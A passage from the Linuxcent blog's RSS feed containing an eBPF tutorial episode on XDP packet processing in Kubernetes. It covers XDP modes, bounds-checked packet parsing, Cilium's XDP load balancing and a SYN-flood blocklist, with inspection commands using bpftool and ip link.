<li>TC eBPF fires after <code class="" data-line="">sk_buff</code> allocation — it has socket metadata, cgroup ID, and pod identity that XDP lacks</li>
<li>Direct action (DA) mode combines filter and action; the program&#8217;s return value is the packet fate</li>
<li>Multiple TC programs chain on the same hook ordered by priority — stale programs from Cilium upgrades cause silent policy conflicts</li>
<li><code class="" data-line="">tc filter show dev &lt;iface&gt; ingress/egress</code> is the primary inspection tool; <code class="" data-line="">bpftool net list</code> shows the full node picture</li>
<li>XDP + TC is the Cilium data path: XDP for pre-stack service load balancing, TC for per-pod identity-based enforcement</li>
<li>TC can modify packet content (<code class="" data-line="">bpf_skb_store_bytes</code>) — the basis for TC-based DNAT and packet mangling</li>
</ul>
<h2 id="whats-next">What&#8217;s Next</h2>
<p>EP08 closes out the kernel machinery arc: program types, maps, CO-RE, XDP, TC. Five episodes on the engine under the tools. EP09 shifts from understanding the machinery to using it interactively.</p>
<p>bpftrace turns kernel knowledge into one-liners you can run on a live production node. Which process is touching this file right now? Where is this latency spike originating in the kernel call stack? Which container is making DNS queries to an unexpected resolver? Under 10 seconds per question — no restart, no sidecar, no instrumentation change.</p>
<p>Every bpftrace one-liner is a complete eBPF program compiled, loaded, run, and cleaned up on the fly. EP09 covers how that works and why it changes the way you investigate production incidents.</p>
<p><em>Next: <a href="/bpftrace-kernel-observability/">bpftrace — kernel answers in one line</a></em></p>
<p>Get EP09 in your inbox when it publishes → <a href="https://linuxcent.com/subscribe">linuxcent.com/subscribe</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Ftc-ebpf-kubernetes-network-policy%2F&amp;linkname=TC%20eBPF%20%E2%80%94%20Pod-Level%20Network%20Policy%20Without%20iptables" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Ftc-ebpf-kubernetes-network-policy%2F&amp;linkname=TC%20eBPF%20%E2%80%94%20Pod-Level%20Network%20Policy%20Without%20iptables" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Ftc-ebpf-kubernetes-network-policy%2F&amp;linkname=TC%20eBPF%20%E2%80%94%20Pod-Level%20Network%20Policy%20Without%20iptables" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Ftc-ebpf-kubernetes-network-policy%2F&amp;linkname=TC%20eBPF%20%E2%80%94%20Pod-Level%20Network%20Policy%20Without%20iptables" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Ftc-ebpf-kubernetes-network-policy%2F&amp;linkname=TC%20eBPF%20%E2%80%94%20Pod-Level%20Network%20Policy%20Without%20iptables" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Ftc-ebpf-kubernetes-network-policy%2F&amp;linkname=TC%20eBPF%20%E2%80%94%20Pod-Level%20Network%20Policy%20Without%20iptables" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Ftc-ebpf-kubernetes-network-policy%2F&amp;linkname=TC%20eBPF%20%E2%80%94%20Pod-Level%20Network%20Policy%20Without%20iptables" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Ftc-ebpf-kubernetes-network-policy%2F&#038;title=TC%20eBPF%20%E2%80%94%20Pod-Level%20Network%20Policy%20Without%20iptables" data-a2a-url="https://linuxcent.com/tc-ebpf-kubernetes-network-policy/" data-a2a-title="TC eBPF — Pod-Level Network Policy Without iptables"></a></p><p>The post <a href="https://linuxcent.com/tc-ebpf-kubernetes-network-policy/">TC eBPF — Pod-Level Network Policy Without iptables</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/tc-ebpf-kubernetes-network-policy/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1837</post-id>	</item>
		<item>
		<title>XDP — Packets Processed Before the Kernel Knows They Arrived</title>
		<link>https://linuxcent.com/ebpf-xdp-kubernetes-networking/</link>
					<comments>https://linuxcent.com/ebpf-xdp-kubernetes-networking/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Tue, 21 Apr 2026 14:53:14 +0000</pubDate>
				<category><![CDATA[eBPF]]></category>
		<category><![CDATA[Cilium]]></category>
		<category><![CDATA[DDoS mitigation]]></category>
		<category><![CDATA[Kubernetes]]></category>
		<category><![CDATA[Linux Networking]]></category>
		<category><![CDATA[SRE]]></category>
		<category><![CDATA[XDP]]></category>
		<guid isPermaLink="false">https://linuxcent.com/ebpf-xdp-kubernetes-networking/</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 10</span> <span class="rt-label rt-postfix">minutes</span></span>XDP eBPF processes packets before the Linux kernel allocates a single byte of memory. How Cilium uses it for load balancing, unlike iptables.</p>
<p>The post <a href="https://linuxcent.com/ebpf-xdp-kubernetes-networking/">XDP — Packets Processed Before the Kernel Knows They Arrived</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 10</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><em>eBPF: From Kernel to Cloud, Episode 7</em><br />
<em><a href="https://linuxcent.com/what-is-ebpf-linux-kubernetes/">What Is eBPF?</a> · <a href="https://linuxcent.com/bpf-verifier-kubernetes-safety/">The BPF Verifier</a> · <a href="https://linuxcent.com/ebpf-vs-kernel-modules-kubernetes/">eBPF vs Kernel Modules</a> · <a href="https://linuxcent.com/ebpf-program-types-kubernetes/">eBPF Program Types</a> · <a href="https://linuxcent.com/ebpf-maps-explained/">eBPF Maps</a> · <a href="https://linuxcent.com/ebpf-co-re-libbpf-portable-programs/">CO-RE and libbpf</a> · </em><em>XDP</em>**</p>
<p><strong>14 min read</strong></p>
<hr />
<h2 id="introduction">Introduction</h2>
<p>EP01 through EP06 covered what eBPF is, how the verifier keeps it safe, and how the toolchain compiles and loads programs across kernel versions. This episode is where that foundation meets production networking.</p>
<p>XDP — eXpress Data Path — is the earliest hook in the Linux kernel packet path. It fires before <code class="" data-line="">sk_buff</code> allocation, before routing, before netfilter. A DROP decision at XDP costs one bounds check and a return value. Everything else is skipped. At 1 million packets per second, that difference shows up directly as CPU.</p>
<p>This episode explains where XDP sits, what it can and cannot see, how Cilium uses it, and what every Kubernetes operator needs to know about it — even if they never write an eBPF program.</p>
<hr />
<h2 id="table-of-contents">Table of Contents</h2>
<ul>
<li><a href="#tldr">TL;DR</a></li>
<li><a href="#quick-check-is-xdp-running-on-your-cluster">Quick Check: Is XDP Running on Your Cluster?</a></li>
<li><a href="#where-xdp-sits-in-the-kernel-data-path">Where XDP Sits in the Kernel Data Path</a></li>
<li><a href="#xdp-modes">XDP Modes</a></li>
<li><a href="#the-xdp-context-what-your-program-can-see">The XDP Context: What Your Program Can See</a></li>
<li><a href="#what-this-means-on-your-cluster-right-now">What This Means on Your Cluster Right Now</a></li>
<li><a href="#xdp-metadata-cooperating-with-tc">XDP Metadata: Cooperating with TC</a></li>
<li><a href="#how-cilium-uses-xdp">How Cilium Uses XDP</a></li>
<li><a href="#operational-inspection">Operational Inspection</a></li>
<li><a href="#common-mistakes">Common Mistakes</a></li>
<li><a href="#key-takeaways">Key Takeaways</a></li>
</ul>
<hr />
<p style="font-size:0.72em;font-weight:700;letter-spacing:0.12em;color:#f59e0b;text-transform:uppercase;margin:2em 0 0.75em 0;text-align:center;">Architecture Overview</p>
<figure class="wp-block-image size-full" style="margin:0 0 0.5em 0;">
<img fetchpriority="high" decoding="async" width="2400" height="2461" src="https://linuxcent.com/wp-content/uploads/2026/05/ep07-xdp-og-2.png" alt="XDP Pre-Stack Packet Hook — eBPF kernel data path diagram showing where XDP fires before sk_buff allocation" class="wp-image-2114" style="width:100%;height:auto;display:block;border-radius:8px;" srcset="https://linuxcent.com/wp-content/uploads/2026/05/ep07-xdp-og-2.png 2400w, https://linuxcent.com/wp-content/uploads/2026/05/ep07-xdp-og-2-293x300.png 293w, https://linuxcent.com/wp-content/uploads/2026/05/ep07-xdp-og-2-999x1024.png 999w, https://linuxcent.com/wp-content/uploads/2026/05/ep07-xdp-og-2-768x788.png 768w, https://linuxcent.com/wp-content/uploads/2026/05/ep07-xdp-og-2-1498x1536.png 1498w, https://linuxcent.com/wp-content/uploads/2026/05/ep07-xdp-og-2-1997x2048.png 1997w" sizes="(max-width: 2400px) 100vw, 2400px" /><figcaption style="text-align:center;font-size:0.85em;color:#6b7280;margin-top:0.75em;">XDP fires before <code class="" data-line="">sk_buff</code> allocation — the earliest possible kernel hook for zero-copy packet processing.</figcaption></figure>
<hr style="border:none;border-top:1px solid #e5e7eb;margin:0.5em 0 2em 0;"/>
<h2 id="tldr">TL;DR</h2>
<ul>
<li>XDP fires before <code class="" data-line="">sk_buff</code> allocation — the earliest possible kernel hook for packet processing<br />
<em>(<code class="" data-line="">sk_buff</code> = the kernel&#8217;s socket buffer — every normal packet requires one to be allocated, which adds up fast at scale)</em></li>
<li>Three modes: native (in-driver, full performance), generic (fallback, no perf gain), offloaded (NIC ASIC)</li>
<li>XDP context is raw packet bytes — no socket, no cgroup, no pod identity; handle non-IP traffic explicitly</li>
<li>Every pointer dereference requires a bounds check against <code class="" data-line="">data_end</code> — the verifier enforces this</li>
<li><code class="" data-line="">BPF_MAP_TYPE_LPM_TRIE</code> is the right map type for IP prefix blocklists — handles /32 hosts and CIDRs together</li>
<li>XDP metadata area enables coordination with TC programs — classify at XDP speed, enforce with pod context at TC</li>
</ul>
<hr />
<h2 id="quick-check-is-xdp-running-on-your-cluster">Quick Check: Is XDP Running on Your Cluster?</h2>
<p>Before the data path walkthrough — a two-command check you can run right now on any cluster node:</p>
<pre><code class="" data-line=""># SSH into a worker node, then:
bpftool net list
</code></pre>
<p>On a Cilium-managed node, you&#8217;ll see something like:</p>
<pre><code class="" data-line="">eth0 (index 2):
        xdpdrv  id 44

lxc8a3f21b (index 7):
        tc ingress id 47
        tc egress  id 48
</code></pre>
<p>Reading the output:<br />
&#8211; <code class="" data-line="">xdpdrv</code> — XDP in <strong>native mode</strong>, running in the NIC driver before <code class="" data-line="">sk_buff</code> (this is what you want)<br />
&#8211; <code class="" data-line="">xdpgeneric</code> instead of <code class="" data-line="">xdpdrv</code> — <strong>generic mode</strong>, runs after <code class="" data-line="">sk_buff</code> allocation, no performance benefit<br />
&#8211; No XDP line at all — XDP not deployed; your CNI uses iptables for service forwarding</p>
<p>If you&#8217;re on <strong>EKS with <code class="" data-line="">aws-vpc-cni</code></strong> or <strong>GKE with <code class="" data-line="">kubenet</code></strong>, you likely won&#8217;t see XDP here — those CNIs use iptables. Understanding this section explains why teams migrating to Cilium see lower node CPU under the same traffic load.</p>
<hr />
<h2 id="where-xdp-sits-in-the-kernel-data-path">Where XDP Sits in the Kernel Data Path</h2>
<p>A client&#8217;s cluster was under a SYN flood — roughly 1 million packets per second from a rotating set of source IPs. We had iptables DROP rules installed within the first ten minutes, blocklist updated every 30 seconds as new source ranges appeared. The flood traffic dropped in volume. But node CPU stayed high. The <code class="" data-line="">%si</code> column in <code class="" data-line="">top</code> — software interrupt time — was sitting at 25–30%.</p>
<blockquote>
<p><strong><code class="" data-line="">%si</code> in <code class="" data-line="">top</code></strong> is the percentage of CPU time spent handling hardware interrupts and kernel-level packet processing — separate from your application&#8217;s CPU usage. On a quiet managed cluster (EKS, GKE) this is usually under 1%. Under a packet flood, high <code class="" data-line="">%si</code> means the kernel is burning cycles just <em>receiving</em> packets, before your workloads run at all. It&#8217;s the metric that tells you the problem is below the application layer.</p>
</blockquote>
<p>The iptables rules were matching. Packets were being dropped. CPU was still burning. The answer is where in the kernel the drop was happening. iptables fires inside the <code class="" data-line="">netfilter</code> framework — after the kernel has already allocated an <code class="" data-line="">sk_buff</code> for the packet, done DMA from the NIC ring buffer, and traversed several netfilter hooks. At 1Mpps, the allocation cost alone is measurable.</p>
<p>XDP fires before any of that.</p>
<p>The standard Linux packet receive path:</p>
<pre><code class="" data-line="">NIC hardware
  ↓
DMA to ring buffer (kernel memory)
  ↓
[XDP hook — fires here, before sk_buff]
  ├── XDP_DROP   → discard, zero further allocation
  ├── XDP_PASS   → continue to kernel network stack
  ├── XDP_TX     → transmit back out the same interface
  └── XDP_REDIRECT → forward to another interface or CPU
  ↓
sk_buff allocated from slab allocator
  ↓
netfilter: PREROUTING
  ↓
IP routing decision
  ↓
netfilter: INPUT or FORWARD
  ↓  [iptables fires somewhere in here]
socket receive queue
  ↓
userspace application
</code></pre>
<p>XDP runs at the driver level, in the NAPI poll context — the same context where the driver is processing received packets off the ring buffer. The program runs before the kernel&#8217;s general networking code gets involved. There&#8217;s no <code class="" data-line="">sk_buff</code>, no reference counting, no slab allocation.</p>
<blockquote>
<p><strong>NAPI</strong> (New API) is how modern Linux receives packets efficiently. Instead of one CPU interrupt per packet (catastrophically expensive at 1Mpps), the NIC fires a single interrupt, then the kernel polls the NIC ring buffer in batches until it&#8217;s drained. XDP runs inside this polling loop — as close to the hardware as software gets without running on the NIC itself.</p>
</blockquote>
<p>At 1Mpps, the difference between XDP_DROP and an iptables DROP is roughly the cost of allocating and then immediately freeing 1 million <code class="" data-line="">sk_buff</code> objects per second — plus netfilter traversal, connection tracking lookup, and the DROP action itself. That&#8217;s the CPU time that was burning.</p>
<p>After moving the blocklist to an XDP program, the <code class="" data-line="">%si</code> on the same traffic load dropped from 28% to 3%.</p>
<hr />
<h2 id="xdp-modes">XDP Modes</h2>
<p>XDP operates in three modes, and which one you get depends on your NIC driver.</p>
<h3 id="native-xdp-xdp_flags_drv_mode">Native XDP (XDP_FLAGS_DRV_MODE)</h3>
<p>The eBPF program runs directly in the NIC driver&#8217;s NAPI poll function — in interrupt context, before <code class="" data-line="">sk_buff</code>. This is the only mode that delivers the full performance benefit.</p>
<p>Driver support is required. The widely supported drivers: <code class="" data-line="">mlx4</code>, <code class="" data-line="">mlx5</code> (Mellanox/NVIDIA), <code class="" data-line="">i40e</code>, <code class="" data-line="">ice</code> (Intel), <code class="" data-line="">bnxt_en</code> (Broadcom), <code class="" data-line="">virtio_net</code> (KVM/QEMU), <code class="" data-line="">veth</code> (containers). Check support:</p>
<pre><code class="" data-line=""># Verify native XDP support on your driver
ethtool -i eth0 | grep driver
# driver: mlx5_core  ← supports native XDP

# Load in native mode
ip link set dev eth0 xdpdrv obj blocklist.bpf.o sec xdp
</code></pre>
<p>The <code class="" data-line="">veth</code> driver supporting native XDP is what makes XDP meaningful inside Kubernetes pods — each pod&#8217;s veth interface can run an XDP program at wire speed.</p>
<h3 id="generic-xdp-xdp_flags_skb_mode">Generic XDP (XDP_FLAGS_SKB_MODE)</h3>
<p>Fallback for drivers that don&#8217;t support native XDP. The program still runs, but it runs after <code class="" data-line="">sk_buff</code> allocation, as a hook in the <code class="" data-line="">netif_receive_skb</code> path. No performance benefit over early netfilter. <code class="" data-line="">sk_buff</code> is still allocated and freed for every packet.</p>
<pre><code class="" data-line=""># Generic mode — development and testing only
ip link set dev eth0 xdpgeneric obj blocklist.bpf.o sec xdp
</code></pre>
<p>Use this for development on a laptop with a NIC that lacks native XDP support. Never benchmark with it and never use it in production expecting performance gains.</p>
<h3 id="offloaded-xdp">Offloaded XDP</h3>
<p>Runs on the NIC&#8217;s own processing unit (SmartNIC). Zero CPU involvement — the XDP decision happens in NIC hardware. Supported by Netronome Agilio NICs. Rare in production, but the theoretical ceiling for XDP performance.</p>
<hr />
<h2 id="the-xdp-context-what-your-program-can-see">The XDP Context: What Your Program Can See</h2>
<p>XDP programs receive one argument: <code class="" data-line="">struct xdp_md</code>.</p>
<pre><code class="" data-line="">struct xdp_md {
    __u32 data;           // offset of first packet byte in the ring buffer page
    __u32 data_end;       // offset past the last byte
    __u32 data_meta;      // metadata area before data (XDP metadata for TC cooperation)
    __u32 ingress_ifindex;
    __u32 rx_queue_index;
};
</code></pre>
<p><code class="" data-line="">data</code> and <code class="" data-line="">data_end</code> are used as follows:</p>
<pre><code class="" data-line="">void *data     = (void *)(long)ctx-&gt;data;
void *data_end = (void *)(long)ctx-&gt;data_end;

// Every pointer dereference must be bounds-checked first
struct ethhdr *eth = data;
if ((void *)(eth + 1) &gt; data_end)
    return XDP_PASS;  // malformed or truncated packet
</code></pre>
<p>The verifier enforces these bounds checks — every pointer derived from <code class="" data-line="">ctx-&gt;data</code> must be validated before use. The error <code class="" data-line="">invalid mem access &#039;inv&#039;</code> means you dereferenced a pointer without checking the bounds. This is the most common cause of XDP program rejection.</p>
<blockquote>
<p><strong>For operators (not writing XDP code):</strong> You&#8217;ll see <code class="" data-line="">invalid mem access &#039;inv&#039;</code> in logs when an eBPF program is rejected at load time — most commonly during a Cilium upgrade or a custom tool deployment on a kernel the tool wasn&#8217;t built for. The fix is in the eBPF source or the tool version, not the cluster config.</p>
</blockquote>
<p>What XDP <strong>cannot</strong> see:<br />
&#8211; Socket state — no socket buffer exists yet<br />
&#8211; Cgroup hierarchy — no pod identity<br />
&#8211; Process information — no PID, no container<br />
&#8211; Connection tracking state (unless you maintain it yourself in a map)</p>
<p>XDP is ingress-only. It fires on packets arriving at an interface, not departing. For egress, TC is the hook.</p>
<hr />
<h2 id="what-this-means-on-your-cluster-right-now">What This Means on Your Cluster Right Now</h2>
<p>Every Cilium-managed node has XDP programs running. Here&#8217;s how to see them:</p>
<pre><code class="" data-line=""># All XDP programs on all interfaces — this is the full picture
bpftool net list
# Sample output on a Cilium node:
#
# eth0 (index 2):
#         xdpdrv  id 44         ← XDP in native mode on the node uplink
#
# lxc8a3f21b (index 7):
#         tc ingress id 47      ← TC enforces NetworkPolicy on pod ingress
#         tc egress  id 48      ← TC enforces NetworkPolicy on pod egress
#
# &quot;xdpdrv&quot;     = native mode (runs in NIC driver, before sk_buff — full performance)
# &quot;xdpgeneric&quot; = fallback mode (after sk_buff — no performance benefit over iptables)

# Which mode is active?
ip link show eth0 | grep xdp
# xdp mode drv  ← native (full performance)
# xdp mode generic  ← fallback (no perf benefit)

# Details on the XDP program ID
bpftool prog show id $(bpftool net show dev eth0 | grep xdp | awk &#039;{print $NF}&#039;)
# Shows: loaded_at, tag, xlated bytes, jited bytes, map IDs
</code></pre>
<p>The <code class="" data-line="">map IDs</code> in that output are the BPF maps the XDP program is using — typically the service VIP table for DNAT, and in security tools, the blocklist or allowlist. To see what&#8217;s in them:</p>
<pre><code class="" data-line=""># List maps used by the XDP program
bpftool prog show id &lt;PROG_ID&gt; | grep map_ids

# Dump the service map (for a Cilium node — this is the load balancer table)
bpftool map dump id &lt;MAP_ID&gt; | head -40
</code></pre>
<p>For a blocklist scenario — like the SYN flood mitigation above — the <code class="" data-line="">BPF_MAP_TYPE_LPM_TRIE</code> is the standard data structure. A lookup for <code class="" data-line="">192.168.1.45</code> hits a <code class="" data-line="">192.168.1.0/24</code> entry in the same map, handling both host /32s and CIDR ranges in one lookup.</p>
<pre><code class="" data-line=""># Count entries in an XDP filter map
bpftool map dump id &lt;BLOCKLIST_MAP_ID&gt; | grep -c &quot;key&quot;

# Verify XDP is active and inspect program details
bpftool net show dev eth0
</code></pre>
<hr />
<h2 id="xdp-metadata-cooperating-with-tc">XDP Metadata: Cooperating with TC</h2>
<p>Think of it as a sticky note attached to the packet. XDP writes the note at line speed (no context about pods or sockets). TC reads it later when full context is available, and acts on it. The packet carries the note between them.</p>
<p>More precisely: XDP can write metadata into the area before <code class="" data-line="">ctx-&gt;data</code> — a small scratch space that survives as the packet moves from XDP to the TC hook. This is the coordination mechanism between the two eBPF layers.</p>
<p>The pattern: XDP classifies at speed (no <code class="" data-line="">sk_buff</code> overhead), TC enforces with pod context (where you have socket identity). XDP writes a classification tag into the metadata area. TC reads it and makes the policy decision.</p>
<p>From an operational standpoint, when you see two eBPF programs on the same interface (one XDP, one TC), this pipeline is the likely explanation:</p>
<pre><code class="" data-line="">bpftool net list
# xdpdrv id 44 on eth0       ← XDP classifier running at line rate
# tc ingress id 47 on eth0   ← TC enforcer reading XDP metadata
</code></pre>
<hr />
<h2 id="how-cilium-uses-xdp">How Cilium Uses XDP</h2>
<blockquote>
<p><strong>Not running Cilium?</strong> On EKS with <code class="" data-line="">aws-vpc-cni</code> or GKE with <code class="" data-line="">kubenet</code>, service forwarding uses iptables NAT rules and <code class="" data-line="">conntrack</code> instead. You can see this with <code class="" data-line="">iptables -t nat -L -n</code> on a node — look for the <code class="" data-line="">KUBE-SVC-*</code> chains. Those chains are what XDP replaces in a Cilium cluster. This is why teams migrating from kube-proxy to Cilium report lower node CPU at high connection rates — it&#8217;s not magic, it&#8217;s hook placement.</p>
</blockquote>
<p>On a Cilium node, XDP handles the load balancing path for ClusterIP services. When a packet arrives at the node destined for a ClusterIP:</p>
<ol>
<li>XDP program checks the destination IP against a BPF LRU hash map of known service VIPs</li>
<li>On a match, it performs DNAT — rewriting the destination IP to a backend pod IP</li>
<li>Returns <code class="" data-line="">XDP_TX</code> or <code class="" data-line="">XDP_REDIRECT</code> to forward directly</li>
</ol>
<p>No iptables NAT rules. No <code class="" data-line="">conntrack</code> state machine. No socket buffer allocation for the routing decision. The lookup is O(1) in a BPF hash map.</p>
<pre><code class="" data-line=""># See Cilium&#039;s XDP program on the node uplink
ip link show eth0 | grep xdp
# xdp  (attached, native mode)

# The XDP program details
bpftool prog show pinned /sys/fs/bpf/cilium/xdp

# Load time, instruction count, JIT-compiled size
bpftool prog show id $(bpftool net list | grep xdp | awk &#039;{print $NF}&#039;)
</code></pre>
<p>At production scale — 500+ nodes, 50k+ services — removing iptables from the service forwarding path with XDP reduces per-node CPU utilization measurably. The effect is most visible on nodes handling high connection rates to cluster services.</p>
<hr />
<h2 id="operational-inspection">Operational Inspection</h2>
<pre><code class="" data-line=""># All XDP programs on all interfaces
bpftool net list

# Check XDP mode (native, generic, offloaded)
ip link show | grep xdp

# Per-interface stats — includes XDP drop/pass counters
cat /sys/class/net/eth0/statistics/rx_dropped

# XDP drop counters exposed via bpftool
bpftool map dump id &lt;stats_map_id&gt;

# Verify XDP is active and show program details
bpftool net show dev eth0
</code></pre>
<hr />
<h2 id="common-mistakes">Common Mistakes</h2>
<table>
<thead>
<tr>
<th>Mistake</th>
<th>Impact</th>
<th>Fix</th>
</tr>
</thead>
<tbody>
<tr>
<td>Missing bounds check before pointer dereference</td>
<td>Verifier rejects: &#8220;invalid mem access&#8221;</td>
<td>Always check <code class="" data-line="">ptr + sizeof(*ptr) &gt; data_end</code> before use</td>
</tr>
<tr>
<td>Using generic XDP for performance testing</td>
<td>Misleading numbers — sk_buff still allocated</td>
<td>Test in native mode only; check <code class="" data-line="">ip link</code> output for mode</td>
</tr>
<tr>
<td>Not handling non-IP traffic (ARP, IPv6, VLAN)</td>
<td>ARP breaks, IPv6 drops, VLAN-tagged frames dropped</td>
<td>Check <code class="" data-line="">eth-&gt;h_proto</code> and return <code class="" data-line="">XDP_PASS</code> for non-IP</td>
</tr>
<tr>
<td>XDP for egress or pod identity</td>
<td>No socket context at XDP; XDP is ingress only</td>
<td>Use TC egress for pod-identity-aware egress policy</td>
</tr>
<tr>
<td>Forgetting <code class="" data-line="">BPF_F_NO_PREALLOC</code> on LPM trie</td>
<td>Full memory allocated at map creation for all entries</td>
<td>Always set this flag for sparse prefix tries</td>
</tr>
<tr>
<td>Blocking ARP by accident in a /24 blocklist</td>
<td>Loss of layer-2 reachability within the blocked subnet</td>
<td>Separate ARP handling before the IP blocklist check</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>XDP fires before <code class="" data-line="">sk_buff</code> allocation — the earliest possible kernel hook for packet processing</li>
<li>Three modes: native (in-driver, full performance), generic (fallback, no perf gain), offloaded (NIC ASIC)</li>
<li>XDP context is raw packet bytes — no socket, no cgroup, no pod identity; handle non-IP traffic explicitly</li>
<li>Every pointer dereference requires a bounds check against <code class="" data-line="">data_end</code> — the verifier enforces this</li>
<li><code class="" data-line="">BPF_MAP_TYPE_LPM_TRIE</code> is the right map for IP prefix blocklists — handles /32 hosts and CIDRs together</li>
<li>XDP metadata area enables coordination with TC programs — classify at XDP speed, enforce with pod context at TC</li>
</ul>
<h2 id="whats-next">What&#8217;s Next</h2>
<p>XDP handles ingress at the fastest possible point but has no visibility into which pod sent a packet. EP08 covers TC eBPF — the hook that fires after <code class="" data-line="">sk_buff</code> allocation, where socket and cgroup context exist.</p>
<p>TC is how Cilium implements pod-to-pod network policy without iptables. It&#8217;s also where stale programs from failed Cilium upgrades leave ghost filters that cause intermittent packet drops. Knowing how TC programs chain — and how to find and remove stale ones — is a specific, concrete operational skill.</p>
<p><em>Next: <a href="https://linuxcent.com/tc-ebpf-kubernetes-network-policy/">TC eBPF — pod-level network policy without iptables</a></em></p>
<p>Get EP08 in your inbox when it publishes → <a href="https://linuxcent.com/subscribe">linuxcent.com/subscribe</a></p>
